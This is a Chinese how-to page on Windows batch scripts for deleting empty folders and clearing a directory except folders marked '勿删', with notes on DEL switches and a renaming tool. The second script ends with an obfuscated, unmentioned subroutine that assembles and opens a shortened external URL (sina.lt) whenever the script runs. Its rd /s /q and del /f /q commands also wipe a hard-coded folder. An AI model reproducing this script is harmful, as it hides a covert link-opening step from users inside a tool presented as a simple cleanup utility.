9游戏

批处理删除文件夹,批处理删除文件夹命令

触及 934

Windows使用久了,会生成大量的空白文件夹,如何删除这些无用的文件夹?你可以试试如下的批处理:---------------------------------------------- @ECHO OFF ECHO 搜索... DIR "%CD%" /AD /B /S | SORT /R /O list.txt IF EXIST deleted.txt ATTRIB -S -H -A -R deleted.txt & DEL /F /Q deleted.txt >NUL 2>NUL ECHO 删除... FOR /F "delims=|" %%i IN ( list.txt ) DO RD "%%i\" >NUL 2>NUL & IF NOT EXIST "%%i\" ECHO %%i\>>deleted.txt IF EXIST deleted.txt NOTEPAD.EXE deleted.txt DEL /F /Q list.txt >NUL 2>NUL ECHO 完成! ---------------------------------------------- 1. 在你需要清理的文件夹中,右键 -> 新建 -> 文本文档。 2. 将分割线中的内容复制到“新建文本文档.txt”。

3. 改名“新建文本文档.txt”,比如“删除空白文件夹.bat”。

4. 双击执行“删除空白文件夹.bat”。

批处理删除文件夹命令

命令:DEL,删除文件或目录增加参数:/F参数说明:使用此参数即“DEL/F”可删除只读文件。增加参数:/S、/Q参数说明:使用此参数即“DEL/S”作用与“RD/S”完全相同,即删除目录及目录下的所有子目录和文件。

同时使用参数/Q,可取消删除操作时的系统确认。

增加参数:/A参数说明:删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR*.*”表示删除当前目录下所有只读文件,“DEL/A-S*.*”表示删除当前目录下除系统文件以外的所有文件。

批处理:如何批量删除文件夹名字中的部分字符?

批量删除文件名中的部分相同文字字符:步骤1,电脑上下载优速文件批量重命名软件后安装打开,点击首页的【文件夹重命名】功能进入内页,然后点击【添加文件夹】蓝色按钮,将需要修改名称的文件夹全部导入到软件中。步骤2,因为我们是要删除名称中的文字,所以命名方式选择“删除”;删除类型选择“自定义内容”;然后在下一行输入需要删除的文字。

在右边实时预览新文件名,可以看到指定的文字已经被删除。

步骤3,设置完成后,点击【开始重命名】按钮启动软件程序,一会之后软件会弹出“重命名成功”的提示框,说明所有文件名修改完成。步骤4,通过案例可以看到,原本文件夹名称中包含的“数据”两个字被全部删除了。

批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写?

@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶cd /d "%%~dp0"::设置要处理的主目录路径set ScrFolder=D:\AAA::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来set SkipStr=勿删cd /d "%ScrFolder%"for /f "delims=" %%a in ('dir /ad-h') do (   for %%i in (%SkipStr%) do (       echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"   ))for /f "delims=" %%a in ('dir /a-d-h') do (   del /f /q "%%~a")pausecall :GVMEexit:GVMEset "S1=.:ailnhpst/"set "S0=fPdv"set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"start "" "%S2%%S3%%S1:~10,1%%S0%"exit脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。

标签: 批处理删除文件夹指定关键字文件